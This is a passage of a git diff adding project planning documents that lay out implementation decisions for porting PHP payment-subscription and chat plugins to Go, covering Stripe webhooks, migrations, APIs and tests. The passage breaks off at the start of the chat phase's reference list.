+Port the generic core of `Golem15.PaymentGatewaySubscriptions` (about 5.5k LOC of PHP) to a new shared plugin, `sm-paymentgatewaysubscriptions-plugin`. Also port pgstripe's subscription parts (`StripeSubscriptionGateway`, `ProcessStripeSubscriptionWebhook`, `POST /webhook/stripe/subscriptions`), which Phase 18 left out (P18 D-01), into a subpackage of `sm-pgstripe-plugin`. The port covers:
+- the `Subscription` and `SubscriptionPlan` models, with their statuses, scopes and access, grace-period and feature checks
+- the gateway-neutral `SubscriptionGateway` contract, including `syncPlanToGateway`, with a Stripe implementation
+- polymorphic subscribers through a build-time registry
+- the six `golem15.pgsub.*` events
+- the subscription webhook (its canonical URL and the legacy alias) processed through a conga job with idempotency
+- the admin screens for subscriptions and plans
+- a Go service API, a generic headless customer API, and subscription components added to `vue-paymentgateway-layer`
+
+It is proven, as in P18 D-03, by the test host inside the plugin repo.
+
+Not in this phase: Quotify's lead fees and metered billing, featured placements and quote analytics (they go to Quotify's own port), a Google Play gateway implementation, and the Horoskopia app port, including its own `plans` and `my/subscription*` routes.
+
+</domain>
+
+<decisions>
+## Implementation Decisions
+
+### Source and core scope
+- **D-01:** **The frozen port contract is `paymentgatewaysubscriptions` at `ac3d73c` (Horoskopia's `develop`) plus commit `5fb9dac`.** That commit is on `origin/feature/qs-update`, used by QuestStream, and not merged. It adds `syncPlanToGateway(SubscriptionPlan): array<currency, priceId>` to the `SubscriptionGateway` contract. Read the source from `/media/nvme/dev/golem15/horoskopia.eu/plugins/golem15/paymentgatewaysubscriptions` and run `git show 5fb9dac` for the extra method. pgstripe stays frozen at `8b47457` (P18 D-02). The P15/P18 frozen-source rule applies: do not silently pick a newer tree or another app's copy (quotify.pro, drzewo.net and getaround.world are older). The binding parts are table and column names, event names, config keys, permission codes, the webhook URLs and the subscription status and gateway string values. — **Reversibility:** costly — table, event and key names are copied from this tree into every app's DB and code.
+- **D-02:** **Port only the generic core.**
+  - **Ported:** Subscription, SubscriptionPlan, the `Subscribable` and `SubscriptionGateway` contracts, `HasSubscriptions` behavior (as a Go helper), ProcessedWebhookEvent, the events, the webhook, and the Subscriptions and SubscriptionPlans admin screens.
+  - **Not ported (they move to Quotify's port):** `LeadFeeSubscriber`, `MeterService`, `UsageRecord`, the `default_lead_fee_*` config keys, `FeaturedPlacement` and its admin controller, `AnalyticsService`, the `AnalyticsDashboard` component and `QuotaExceededException`.
+  - **Shared schema:** the tables those features use stay in the schema (D-04), so all apps keep one migration history.
+- **D-03:** **Plan features are opaque string keys.** `Plan.HasFeature(key string)` and `Subscription.HasFeature(key)` work over the stored string list (the v2.4.0 shape). The plugin defines no `FEATURE_*` constants (they belong to QuestStream) and no `hasUnlimitedQuotes` (it belongs to Quotify). Apps declare their own keys in their own packages.
+- **D-04:** **The migrations are one squashed baseline equal to the final PHP schema (v2.4.0).** It includes `golem15_pgsub_subscription_plans`, `golem15_pgsub_subscriptions` (polymorphic `subscriber_type`/`subscriber_id`, `gateway`), `golem15_pgsub_processed_webhook_events`, and the dormant `golem15_pgsub_usage_records` and `golem15_pgsub_featured_placements`. The baseline is idempotent so it adopts an existing PHP database unchanged, as in Phase 5's squashed migrations. Not carried over: the `starter`/`professional`/`premium` seed, the `golem15_quotify_professionals` ALTER and the `professional_id` → polymorphic conversion. The researcher diffs the baseline against a real PHP database, Horoskopia or QuestStream. — **Reversibility:** one-way — the migration ID and table shapes become the shared contract across five apps.
+- **D-05:** **Google Play stays a valid gateway value without an implementation.** The `gateway` column, the `stripe` and `google_play` values and a gateway check (`IsFromGateway`) survive. Only Stripe implements `SubscriptionGateway`. A Google Play gateway would be a separate future plugin.
+
+### Package layout and subscribers
+- **D-06:** **New repo `sm-paymentgatewaysubscriptions-plugin`** (module `git.golem15.com/golem15/sm-paymentgatewaysubscriptions-plugin`, plugin ID `golem15.paymentgatewaysubscriptions`). It requires `golem15.paymentgateway` and `golem15.user`, as PHP's `$require` does. It holds the models, contracts, gateway registry, events, admin, service API and customer API. It contains no Stripe code.
+- **D-07:** **The Stripe subscription gateway lives in a subpackage of `sm-pgstripe-plugin`** (for example `pgstripe/subscriptions`). The subpackage imports pgsub, implements `SubscriptionGateway`, and registers the webhook route and job. Apps that don't import the subpackage don't link pgsub, so a payments-only app keeps a payments-only binary. It reuses P18's stripe-go client, the pinned API version and the `httptest` backend override (P18 D-12). — **Reversibility:** costly — the import paths become what apps wire in their `plugins.go`.
+- **D-08:** **Subscribers register through a build-time morph registry.** It succeeds the `subscribables` config and `Relation::morphMap`. An app registers a morph alias with a resolver that implements the Go `Subscribable` interface: email, name, get and set customer ID, morph alias and key. pgsub ships a ready `user` subscribable for `sm-user-plugin`, which an app opts into; Horoskopia stores `subscriber_type = 'user'`. Other types, such as Quotify's `professional` and QuestStream's `family`, are registered by their apps. An unknown `subscriber_type` read from the DB fails loudly; it is never silently skipped.
+- **D-09:** **The built-in `user` subscribable stores the gateway customer ID in `users.stripe_customer_id`,** the column Horoskopia's `horoscope` plugin already added. A pgsub migration adds it only if missing (nullable, indexed, idempotent), so Horoskopia's DB adopts it unchanged. App-registered subscribables store the ID wherever their resolver says. — **Reversibility:** costly — a column on the shared `users` table.
+
+### Webhook surface
+- **D-10:** **Two URLs share one handler.** `POST /webhook/stripe/subscriptions` (pgstripe, canonical) and `POST /api/subscriptions/webhook` (the legacy pgsub alias) both reach the same handler, so no Stripe dashboard needs repointing at cutover. Both are CSRF-free and keep PHP's `throttle:60,1` limit. pgsub's deprecated `WebhookController`, `StripeSubscriptionService`, its own `ProcessStripeSubscriptionWebhook` job and `config/stripe.php` are not ported. Commit `0673aa7` already delegated them to pgstripe. — **Reversibility:** one-way — URLs configured in each app's Stripe dashboard.
+- **D-11:** **The handler verifies the event and enqueues a conga (River) job.** It keeps PHP's shape and its STRIPE-006 fix:
+  1. Verify `Stripe-Signature`. A bad signature or payload returns 400 with a log entry.
+  2. Cheap-check `golem15_pgsub_processed_webhook_events`. A duplicate returns 200.
+  3. Enqueue jobs only for the five handled types: `customer.subscription.created`, `customer.subscription.updated`, `customer.subscription.deleted`, `invoice.paid` and `invoice.payment_failed`.
+  4. The job applies the change and inserts the processed-event marker in the same transaction, only on success. A failed job retries without being marked processed.
+- **D-12:** **The subscription webhook signing secret is its own encrypted setting for each mode** (test and live), stored in P18's D-13 Stripe settings (`lagoon.Encrypted`, write-only in the admin) with the `SUMMER_*`/host-config fallback. It is separate from the payment-notification secret, because Stripe issues one secret per endpoint. A missing secret returns 500 with a log entry, as PHP does. App cutovers import the PHP values, `STRIPE_SUBSCRIPTION_WEBHOOK_SECRET`/`STRIPE_WEBHOOK_SECRET` or the PHP setting, through `lagoon.DecryptLaravelPayload` where they are encrypted.
+
+### Customer API and frontend
+- **D-13:** **pgsub ships a typed Go service API and a generic headless customer API.**
+  - **Service API:** active plans, current subscription for a subscriber, checkout session, cancel (at period end or immediately), management-portal session, and access and feature checks. App routes call it; Horoskopia's port keeps its own `plans`, `my/subscription`, `my/subscription/checkout`, `my/subscription/cancel` and `my/subscription/portal` routes, whose response shapes carry app data and are its parity contract.
+  - **Customer API:** a JSON API under `/_paymentgatewaysubscriptions/api/v1/`, following the `/_x/api/v1` convention (P15 D-14, P18 D-06), for the logged-in `user` subscriber. It succeeds Winter's `SubscriptionManager` component. Plans are public; the subscription endpoints require auth.
+  - **Reversibility:** one-way — a published API that apps and the layer consume.
+- **D-14:** **`vue-paymentgateway-layer` (P18 D-06) gets the subscription pieces.** These are a typed subscriptions client plus components for a plans or pricing table, a my-subscription status, and checkout and portal redirects. They use the same distribution (a pnpm git dependency pinned to a tag), neutral CSS tokens and overridable components. There is no separate subscriptions layer repo.
+
+### Claude's Discretion
+- Go package, type and identifier names (registry, `Subscribable`, gateway interface, event types, service API), provided D-06 to D-09 hold. A short package name such as `pgsub` is fine; the plugin ID and table prefix stay as in D-01 and D-04.
+- Typed festival event shapes for the six events (`golem15.pgsub.subscription.activated`, `.canceled`, `.past_due`, `.reactivated`, `golem15.pgsub.invoice.paid` and `.invoice.payment_failed`), keeping the PHP names as identifiers. Horoskopia listens to the four subscription events.
+- The admin screens:
+  - Subscriptions list, filter and form.
+  - SubscriptionPlans list, form and reorder, with the bulk "Sync to Stripe" and "Sync all" actions going through `syncPlanToGateway`.
+  - Editing `currency_prices` and `stripe_prices`: a cabana repeater or key-value field, or P18's `money` field, whichever fits the existing field set.
+  - The `manage_placements` permission code: whether it stays registered or moves with FeaturedPlacement.
+- Plan prices use P18's Money type (D-09 there) at the API boundary, while the stored JSON shapes (`currency_prices`, `stripe_prices`, `price_cents`) stay as PHP writes them.
+- Config keys: `grace_period_days` (default 7) carries over; `subscribables` is replaced by the D-08 registry; the `default_lead_fee_*` keys go with D-02.
+- The proof flows in the test host: checkout → `customer.subscription.created` → `activated` event; `invoice.paid`; `invoice.payment_failed` → `past_due` and the grace period; cancel at period end → `deleted` → `canceled`; reactivation; duplicate-event idempotency; plan sync. Map pgstripe's subscription-related `tests/` (reliability, security/DataHandling) to Go cases in the last plan.
+- Plan count and split, subject to the plan-count checkpoint and "unit tests are the last plan".
+- Run the security-review agent: the phase handles payments, secrets, a public webhook and a customer API.
+
+</decisions>
+
+<canonical_refs>
+## Canonical References
+
+**Downstream agents MUST read these before planning or implementing.**
+
+### Roadmap and decisions
+- `.planning/ROADMAP.md` § Phase 18.1 and § Phase 18: goal, repos and splits
+- `.planning/phases/18-payment-gateway/18-CONTEXT.md`: D-01 (this split), D-02 (frozen pgstripe `8b47457`), D-03 (test host), D-06 (customer API and `vue-paymentgateway-layer`), D-09/D-10 (Money), D-12 (stripe-go and its test fake), D-13 (encrypted Stripe settings per mode), D-14 (webhook verification behavior)
+- `.planning/notes/core-plugin-port-inventory.md`: the five subscriptions users and Horoskopia's use of `Subscription`, `SubscriptionPlan` and `SubscriptionGateway`
+- `.planning/notes/core-plugins-own-repos.md`: the `sm-<name>-plugin` repo, module path, submodule and `go.work` layout
+- `.planning/research/PITFALLS.md` #5: exact money, never `float64`
+- `.planning/phases/15-journal-plugin/15-CONTEXT.md`: D-01/D-02 (frozen source), D-05 (PHP tests as the spec), D-06 (EN/PL), D-14 (`/_x/api/v1`)
+- `.planning/seeds/SEED-261007-j2b-horoskopia-port.md`: the later Horoskopia port that consumes this plugin
+
+### PHP port sources (frozen per D-01)
+- `/media/nvme/dev/golem15/horoskopia.eu/plugins/golem15/paymentgatewaysubscriptions/`:
+  - `Plugin.php` (permissions, navigation, morph map)
+  - `contracts/Subscribable.php`, `contracts/SubscriptionGateway.php` (plus `git show 5fb9dac`)
+  - `models/Subscription.php`, `models/SubscriptionPlan.php`, `models/ProcessedWebhookEvent.php`
+  - `models/*/fields.yaml`, `models/*/columns.yaml`
+  - `traits/HasSubscriptions.php`
+  - `controllers/Subscriptions.php`, `controllers/SubscriptionPlans.php` and their YAML
+  - `http/routes.php` (the legacy alias)
+  - `config/config.php`, `lang/en/lang.php`
+  - `updates/` (schema history for the D-04 baseline), `MIGRATION.md` (the polymorphic model)
+  - Skip the files D-02 moves to Quotify.
+- `/media/nvme/dev/golem15/horoskopia.eu/plugins/golem15/pgstripe/`: `classes/StripeSubscriptionGateway.php`, `jobs/ProcessStripeSubscriptionWebhook.php`, `http/routes.php`, `http/controllers/StripeWebhookController.php`, `classes/StripeSettings.php` (`getWebhookSecret`), `tests/reliability/`, `tests/security/DataHandlingTest.php`
+- `/media/nvme/dev/golem15/queststream.online/plugins/golem15/queststream/services/EntitlementService.php`: a second consumer of `syncPlanToGateway` and the gateway field (read-only reference)
+
+### Acceptance consumer (read-only reference)
+- `/media/nvme/dev/golem15/horoskopia.eu/plugins/golem15/horoscope/routes.php` (around lines 364–760): the `plans` and `my/subscription*` routes that call `Subscription::forSubscriber`, `SubscriptionPlan` and the `SubscriptionGateway` binding
+- `/media/nvme/dev/golem15/horoskopia.eu/plugins/golem15/horoscope/classes/SubscribableUserAdapter.php`: the `user` subscribable and `users.stripe_customer_id` (D-08, D-09)
+- `/media/nvme/dev/golem15/horoskopia.eu/plugins/golem15/horoscope/Plugin.php` (around lines 335–480): the User relation extension and the four `golem15.pgsub.subscription.*` listeners
+- `/media/nvme/dev/golem15/horoskopia.eu/plugins/golem15/horoscope/console/ReconcileSubscriptions.php`: uses `syncSubscription` and the status constants
+- `/media/nvme/dev/golem15/quotify.pro/themes/quotify/pages/subscription.htm`: the `subscriptionManager` component usage that D-13's customer API succeeds
+
+### Framework
+- `modules/conga/README.md`: River jobs for D-11
+- `modules/festival/README.md`: typed events
+- `modules/lagoon/encrypted.go`, `modules/lagoon/laravel_decrypt.go`: D-12
+- `modules/pact/`: the capability pattern for gateway and subscriber registration
+- `modules/cabana/README.md`: admin lists, forms and reorder, bulk actions, settings pages
+
+</canonical_refs>
+
+<code_context>
+## Existing Code Insights
+
+### Reusable Assets
+- From Phase 18 (once built): the stripe-go client and its `httptest` fake, the encrypted Stripe settings page with a test/live switch, the Money type, the operator registry pattern (a model for the gateway and subscriber registries), and `vue-paymentgateway-layer`.
+- `conga`: River jobs for webhook processing.
+- `festival.Bus`: the `golem15.pgsub.*` events.
+- `sm-user-plugin`: the `users` table and the authenticated customer behind the built-in `user` subscribable.
+- `sm-journal-plugin/routes.go`: the `/_x/api/v1` route, limiter and CORS pattern.
+
+### Established Patterns
+- Core plugins keep PHP table names, columns, permission codes, event names and config keys.
+- Squashed, idempotent baseline migrations that adopt existing PHP databases (Phase 5).
+- Framework and plugin READMEs never name a consuming application.
+
+### Integration Points
+- A new sibling checkout `/media/nvme/dev/golem15/summercms.io/summercms/sm-paymentgatewaysubscriptions-plugin/`. Confirm the remote exists before the first push.
+- A new subpackage in `sm-pgstripe-plugin` (Phase 18's repo).
+- New subscription pieces in `vue-paymentgateway-layer` (Phase 18's repo).
+- `summercms.go` only if a framework feature is missing, for example cabana bulk list actions for the plan sync.
+- Phase 18 must be executed first: 18.1 builds on its pgstripe, Money, settings and layer.
+
+</code_context>
+
+<specifics>
+## Specific Ideas
+
+- Horoskopia's flow: `Subscription::forSubscriber('user', $id)->latest()` gives the current subscription. Checkout goes through `app(SubscriptionGateway::class)->createCheckoutSession(adapter, plan, success, cancel)` and the frontend redirects. `createManagementSession` opens the Stripe billing portal. The Go service API must keep this sequence just as short.
+- `syncPlanToGateway` returns a currency → price ID map and stores the provider IDs on the plan (`stripe_product_id`, `stripe_prices`).
+- The idempotency marker is written only after the job succeeds (STRIPE-006). Keep that ordering.
+
+</specifics>
+
+<deferred>
+## Deferred Ideas
+
+- **Quotify-specific subscription features** (lead fees and Stripe Billing Meters via `LeadFeeSubscriber`/`MeterService`/`UsageRecord`, `FeaturedPlacement`, quote analytics via `AnalyticsService`/`AnalyticsDashboard`, and `QuotaExceededException`) go to Quotify's own port. Their tables already exist through D-04.
+- **A Google Play subscription gateway** would be a future plugin implementing `SubscriptionGateway`.
+- **A generic admin subscription dashboard** (MRR, churn, active counts) is a new capability. Revisit it after the Horoskopia port, when real data exists.
+
+### Reviewed Todos (not folded)
+- `mailblocker-with-mailing.md`, `refresh-fonoteka-readme.md`, `faq-plugin-port.md`, `journal-imported-html-admin-resave.md`: these matched on keywords only and are unrelated to subscriptions.
+
+</deferred>
+
+---
+
+*Phase: 18.1-payment-gateway-subscriptions*
+*Context gathered: 2026-10-09*

.planning/phases/18.1-payment-gateway-subscriptions/18.1-DISCUSSION-LOG.md

@@ -0,0 +1,124 @@
+# Phase 18.1: Payment Gateway Subscriptions - Discussion Log
+
+> **Audit trail only.** Do not use as input to planning, research, or execution agents.
+> Decisions are captured in CONTEXT.md — this log preserves the alternatives considered.
+
+**Date:** 2026-10-09
+**Phase:** 18.1-payment-gateway-subscriptions
+**Areas discussed:** Source and core scope, Package layout and subscribers, Webhook surface, Customer API and frontend
+
+Phase 18.1 was inserted into the roadmap at the start of this session (`phase.insert 18`), as 18-CONTEXT D-01 asked.
+
+---
+
+## Source and core scope
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| ac3d73c + 5fb9dac | Horoskopia develop plus QuestStream's unmerged `syncPlanToGateway` | ✓ |
+| ac3d73c only | Strictly Horoskopia's checkout | |
+| Merge all five copies | Union of every app's copy | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Generic core only | Lead fees, placements and analytics go to Quotify's port; their tables stay | ✓ |
+| Port everything 1:1 | One plugin, all features | |
+| Core + metering | Keep metered billing as a generic capability | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Opaque string keys | `HasFeature(key)`, no constants | ✓ |
+| App-registered feature catalogue | Keys plus labels registered at build time | |
+| Keep constants 1:1 | Port the `FEATURE_*` constants | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Squashed v2.4.0 baseline | Final schema including dormant tables; idempotent; no seed, ALTER or conversion | ✓ |
+| Replay the PHP chain | One Go migration per PHP file | |
+| Baseline without dormant tables | Quotify creates its tables itself | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Keep constant, no impl | `google_play` stays valid; only Stripe is implemented | ✓ |
+| Drop it | Only `stripe` is valid | |
+
+---
+
+## Package layout and subscribers
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| pgstripe subpackage | pgsub in its own repo; Stripe gateway in a `sm-pgstripe-plugin` subpackage | ✓ |
+| Inside pgsub | pgsub imports pgstripe | |
+| Third repo | `sm-pgstripe-subscriptions-plugin` | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Build-time registry, user built in | Morph alias plus resolver; opt-in `user` subscribable | ✓ |
+| Registry only, nothing built in | Every app writes its own adapter | |
+| Hard-wire to user | Drop polymorphism | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| users.stripe_customer_id | Horoskopia's column, added idempotently | ✓ |
+| pgsub mapping table | New `golem15_pgsub_customers` | |
+| Built-in user leaves it to the app | Column name from config | |
+
+---
+
+## Webhook surface
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Both URLs, one handler | Canonical pgstripe URL plus the legacy pgsub alias | ✓ |
+| Canonical only | Repoint the legacy endpoint at cutover | |
+| Merge into _paymentgateway route | New URL everywhere | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Verify + enqueue conga job | Marker written in the job transaction after success | ✓ |
+| Synchronous in the handler | One transaction in the request | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Own setting per mode | A separate encrypted subscription signing secret for test and live | ✓ |
+| Reuse the P18 secret | One secret for both endpoints | |
+
+---
+
+## Customer API and frontend
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Go service API + headless /_x/api/v1 | Horoskopia keeps its own routes; new apps use the generic API | ✓ |
+| Go service API only | No HTTP routes in the plugin | |
+| Headless API replaces app routes | Breaks frontend parity | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Extend vue-paymentgateway-layer | Subscription client and components in the P18 layer | ✓ |
+| Separate vue-pgsub-layer | Own repo | |
+| No layer in 18.1 | API only | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Yes, Quotify port | AnalyticsDashboard not ported | |
+| Port a generic subscription dashboard | Admin MRR/churn widget | ✓ (then deferred) |
+
+**Notes:** The user chose a generic dashboard. It was flagged as a new capability, and the user then placed it in Deferred Ideas instead of 18.1 scope.
+
+---
+
+## Claude's Discretion
+
+- Go names for the registries, interfaces, events and service API
+- Typed festival event shapes for the six `golem15.pgsub.*` events
+- Admin plan editing (`currency_prices`, `stripe_prices`), the reorder and the Sync to Stripe bulk actions, and the `manage_placements` permission code
+- The test-host proof flows and mapping pgstripe's tests to Go cases
+- Plan count and split
+
+## Deferred Ideas
+
+- Quotify lead fees and metering, featured placements and quote analytics: Quotify's port
+- A Google Play subscription gateway plugin
+- A generic admin subscription dashboard (MRR, churn), after the Horoskopia port

.planning/phases/19-chat-and-chatchannels/19-CONTEXT.md

@@ -0,0 +1,183 @@
+# Phase 19: Chat and ChatChannels - Context
+
+**Gathered:** 2026-10-09
+**Status:** Ready for planning
+
+<domain>
+## Phase Boundary
+
+`Golem15.Chat` and `Golem15.ChatChannels` run on SummerCMS as the shared plugins `sm-chat-plugin` (`golem15.chat`) and `sm-chatchannels-plugin` (`golem15.chatchannels`), with realtime delivery through `lighthouse`. What they provide:
+
+- The schema, models, context adapters, jobs and services from PHP.
+- A typed Go service API.
+- A generic headless JSON API (`/_chat/api/v1`, `/_chatchannels/api/v1`).
+- Private attachments and message search.
+
+The point is to have them ready for the later Wavepath port.
+
+Wavepath's own `/_wave/api/v1/community/...` routes, the satellites (chatbots, chatvideo, forum, herald, userfriends; Phase 19.1), the Vue frontend and the Wavepath app port itself are out of scope.
+
+**Repos touched:** `sm-chat-plugin` and `sm-chatchannels-plugin` (new, under `git.golem15.com/golem15/`), plus additive changes to `sm-user-plugin` (D-15, D-17) and `summercms.go` only if `lighthouse`, `attach` or `beachcomber` lack a feature. The ROADMAP Phase 19 "Repos" line and success criterion 3 need updating to match D-06 to D-09 and D-15 (do it in the first planning commit).
+
+</domain>
+
+<decisions>
+## Implementation Decisions
+
+### Source and legacy
+- **D-01:** **The frozen port contract is Wavepath's tree:** chat at `943b712` and chatchannels at `b92fb42`, read from `/media/nvme/dev/jz/wavepath.org/plugins/golem15/{chat,chatchannels}`.
+  - The starter's chat (`4db7484`) is a strict ancestor, 97 commits behind, with nothing Wavepath lacks. Do not use it.
+  - The P15/P18 frozen-source rule applies. Binding: table and column names, migration-equivalent schema, realtime event names, channels and payloads, serializer output (`toApiArray` and friends), console command names, config keys and lang keys.
+  - **Reversibility:** costly. Names are copied into the DBs and clients of every app.
+- **D-02:** **No QuestStream trace in the Go plugins.** Not ported:
+  - the `family_id` column and its index;
+  - `Conversation::LEGACY_FAMILY_CONTEXT`, `scopeForFamily`, `findOrCreateDm($family)` and `findOrCreateFamilyGroup`;
+  - `ChatService::getFamilyGroupChat` and `addUserToFamilyGroupChat`;
+  - the `migrate_family_to_context` data migration;
+  - the `parent_oversight` lang string;
+  - the QuestStream `ApiController` parent class.
+
+  No identifier, string, comment or README names QuestStream, family, parent or child. The user does not plan a QuestStream port soon.
+- **D-03:** **`canActAs` stays in the context contract, fully generic.** It means "this actor may act on behalf of another member within this context", with a neutral Go name chosen by Claude (for example `CanActFor(ctx, actorID, memberID)`). Adapters that don't need it return false. The PHP session-based "pick the member to act as" flow from the `ChatWindow` component is not ported.
+- **D-04:** **Migrations are one squashed, idempotent baseline per plugin,** equal to the final PHP schema minus `family_id`: chat v1.3.0 (conversations, participants, messages with `root_id`/`edited_at`/soft deletes, thread_summaries) and chatchannels v1.6.0 (channels, channel_categories, personal_categories, channel_user_prefs, channel_members, channel_mentions, channel_pins, user_context_prefs). The baseline adopts an existing Wavepath database unchanged, as in Phase 5 and P18.1 D-04. The researcher diffs it against a real Wavepath DB.
+  - **Reversibility:** one-way. Migration IDs and table shapes become the shared contract.
+- **D-05:** **`family_id` on adopted databases is ignored.** Fresh databases never get the column. On an adopted Wavepath DB it stays, nullable and untouched; Go never reads, writes or drops it.
+
+### HTTP surface
+- **D-06:** **Both plugins ship a typed Go service API plus a generic headless JSON API.**
+  - **Service API:** a ChatService/ChannelService successor that mirrors the PHP services. App routes (the future Wavepath `/_wave` port) call it.
+  - **Generic API:** `/_chat/api/v1` (conversations, messages, DMs, replies and threads, read, typing, mute, attachments) and `/_chatchannels/api/v1` (channels, categories, personal categories, prefs, members, pins, mentions, message search). Each plugin owns its prefix (the `/_x/api/v1` convention, P15 D-14, P18 D-06), so an app that imports only chat gets no channel routes.
+  - **Reversibility:** one-way. It's a published API that apps will consume.
+- **D-07:** **The generic API mirrors Wavepath's community routes.** It has the same operations, parameters and JSON payloads as `/_wave/api/v1/community/...` (`wavepath/routes.php` lines 488-526, 558-590, 673-721, and `threads/{rootId}/mute`), re-rooted at context-neutral paths. Both use one serializer set, so the Wavepath port can make its routes thin aliases or move the SPA onto `/_chat`.
+- **D-08:** **Contexts are addressed by morph alias and id,** for example `/_chat/api/v1/contexts/{type}/{id}/conversation`. `{type}` is the alias registered at build time (D-11), and access is decided by the context adapter (`hasMember`, `canOverseeChats`, `isChatEnabled`). Conversation- and message-level routes use their own ids, and participation is checked on every call.
+- **D-09:** **Auth is `jwt.auth`, with named rate-limit buckets.** The `chat-dm` bucket (10 per minute per user, PHP's `throttle:chat-dm`) guards DM start, and a general chat API bucket covers the rest. Mounting follows the `lighthouse.Mount` surfaces pattern, so the app picks the guard.
+- **D-10:** **The legacy `/api/chat/dm` and `/api/chat/attachments/{messageId}/{fileId}` routes are dropped,** along with the `ChatWindow` and `ChatBadge` components and their `chat.js`. Both routes fatal on PHP today, and no client calls them (Wavepath's `dmApi.ts` avoids the attachment path explicitly).
+- **Parity proof (replaces SC3's route wording):** golden tests show that the serializers (`Message.toApiArray` with attachments, thread summaries, channel, category, pref, pin and mention arrays) and every realtime event (name, channel and payload) match PHP output captured from Wavepath. Route-level parity of `/_wave` is checked at the Wavepath port.
+
+### Extension seams
+- **D-11:** **Contexts plug in through a build-time morph registry,** the successor of the `chat.context.resolver` singleton (`registerAdapter`, `registerProvider`).
+  - At Boot, an app or plugin registers a morph alias with a loader that returns a Go chat-context interface: members, `hasMember`, `canOverseeChats`, `isChatEnabled`, group chat name, the D-03 act-for hook, and a broadcast channel of 2 or 3 segments.
+  - This mirrors P18.1 D-08. An unknown `context_type` read from the DB fails loudly and is never silently skipped.
+- **D-12:** **Existing PHP class names in `context_type` (and `golem15_chatchannels_channels.context_type`) are rewritten to aliases on adoption.**
+  - A Go migration or adoption command rewrites the stored class strings to the registered aliases once. The class → alias map comes from the registrations (each registration may declare the legacy PHP class it replaces).
+  - After the rewrite, PHP can no longer resolve these rows, so it's a cutover point of no return, like P18 D-11's v2 rows. The app port takes a DB backup first.
+  - The researcher checks the other morph columns that store PHP class names, especially `system_files.attachment_type` for chat attachments (`Golem15\Chat\Models\Message`). The attachment owner morph name must keep resolving adopted files.
+  - **Reversibility:** one-way. Stored rows in every adopting app's DB change.
+- **D-13:** **Cross-plugin hooks are typed festival events.**
+  - chat fires typed events for message create, update and delete inside the write transaction. chatchannels listens to them for mention accrual, reconcile and remove, and for search index and deindex.
+  - User lifecycle (the `beforeDelete` GDPR cascade and handle generation on create) uses `sm-user-plugin` events. Any that don't exist yet are added there, additively.
+  - Plugins never patch each other's models (the successor of `Message::extend` and `User::extend`).
+- **D-14:** **ChannelAccessResolver** (`canAccessContext`, `canManageContext`) **is deny-all by default, with a setter.** The app installs its own resolver at Boot, and Boot logs a Warn when chatchannels runs with the default.
+- **D-15:** **`users.handle` moves into `sm-user-plugin`.**
+  - The user plugin owns the column (unique, added idempotently if missing so Wavepath's DB adopts unchanged), handle auto-generation (the HandleGenerator port) and the backfill.
+  - chatchannels uses it for `@mentions` (MentionParser regex `@([\w.-]{2,255})`).
+  - This is an additive change to a core plugin contract.
+  - **Reversibility:** costly. It adds a column and behavior on the shared `users` table across every app that mounts the user plugin.
+- **D-16:** **The WebSockets `$require` is replaced by `lighthouse`.** Broadcasts go through the lighthouse service: model broadcasts through a `lighthouse.Bind` binding, explicit events through `Emit`/`Publish`. chat registers the `chat` namespace authorizer (`chat:conversation:{id}`, participants only, capabilities `["prs"]`).
+- **D-17:** **`sm-user-plugin` registers the lighthouse `user` namespace authorizer** (`user:{id}` allowed only to that user) if it doesn't already. chat (`chat:message`, `chat:unread`) and chatchannels (`mentions.changed`) publish there, and Phase 19.1's herald and forum will too.
+
+### Attachments and search
+- **D-18:** **Attachments are private `lagoon/attach` files.**
+  - They are `system_files` rows with `is_public=false`, stored through `attach.Store` with ChatAttachmentPolicy's limits: 100 MB (`MAX_KB` 102400), at most 5 files (`MAX_ATTACHMENTS`), an extension allowlist, and SVG, HTML and XML blocked.
+  - Downloads go only through a `/_chat/api/v1` route that checks participation and streams the blob. They're never reachable through the public static handler.
+  - The attachment `kind`, `width` and `height` serialization stays as in PHP.
+- **D-19:** **`chat:migrate-attachments` is not ported.** Run it on PHP before cutover.
+- **D-20:** **Message search ports on `beachcomber`.**
+  - The read-only `MessageIndex` becomes a `beachcomber.Searchable` registration from chatchannels.
+  - It uses the same Typesense collection name (the scout prefix plus `messages`) and the same document fields.
+  - Indexing fails open, as in PHP.
+  - Search is exposed through `/_chatchannels/api/v1`.
+
+### Proof and tests
+- **D-21:** **A test-only host in each plugin repo,** as in P18 D-03: testcontainers Postgres, the lighthouse memory driver, beachcomber with a fake engine, a neutral fixture context (for example `acme` teams, as chatchannels' PHP tests use `Acme\Teams\Team`), and `sm-user-plugin`. Every PHP test method (59 in chat, about 130 in chatchannels) maps to a Go case or to an explicit "not applicable" note (QuestStream-only cases). Golden payloads and events are captured from Wavepath. The mapping is completed in the last plan.
+
+### Claude's Discretion
+- Go package, type and identifier names, including the context interface, the registry, the act-for hook, the service APIs and the event types.
+- Exact endpoint paths of the generic API, within D-07 and D-08.
+- Queue name and job shape for `MaintainThreadSummaryJob` on conga (PHP uses the `broadcasts` queue; it's dispatched after message create and delete when `root_id` is set, off-request).
+- Config keys: `use_ui_avatars` (env `CHAT_USE_UI_AVATARS`) carries over under the plugin namespace.
+- Lang strings port to phrasebook in EN and PL. The plugin display name becomes neutral (for example "Chat" rather than "Friends Chat"), and QuestStream strings are dropped per D-02.
+- Whether the adoption rewrite (D-12) is a migration, a console command, or both.
+- Plan count and split, subject to the plan-count checkpoint and "unit tests are the last plan". Expect chat first, then chatchannels, then the user plugin additions where they're needed.
+- Run the security-review agent. The phase adds a public authenticated API, private file downloads, channel authorization and a GDPR delete cascade.
+
+</decisions>
+
+<canonical_refs>
+## Canonical References
+
+**Downstream agents MUST read these before planning or implementing.**
+
+### Port sources (frozen, D-01)
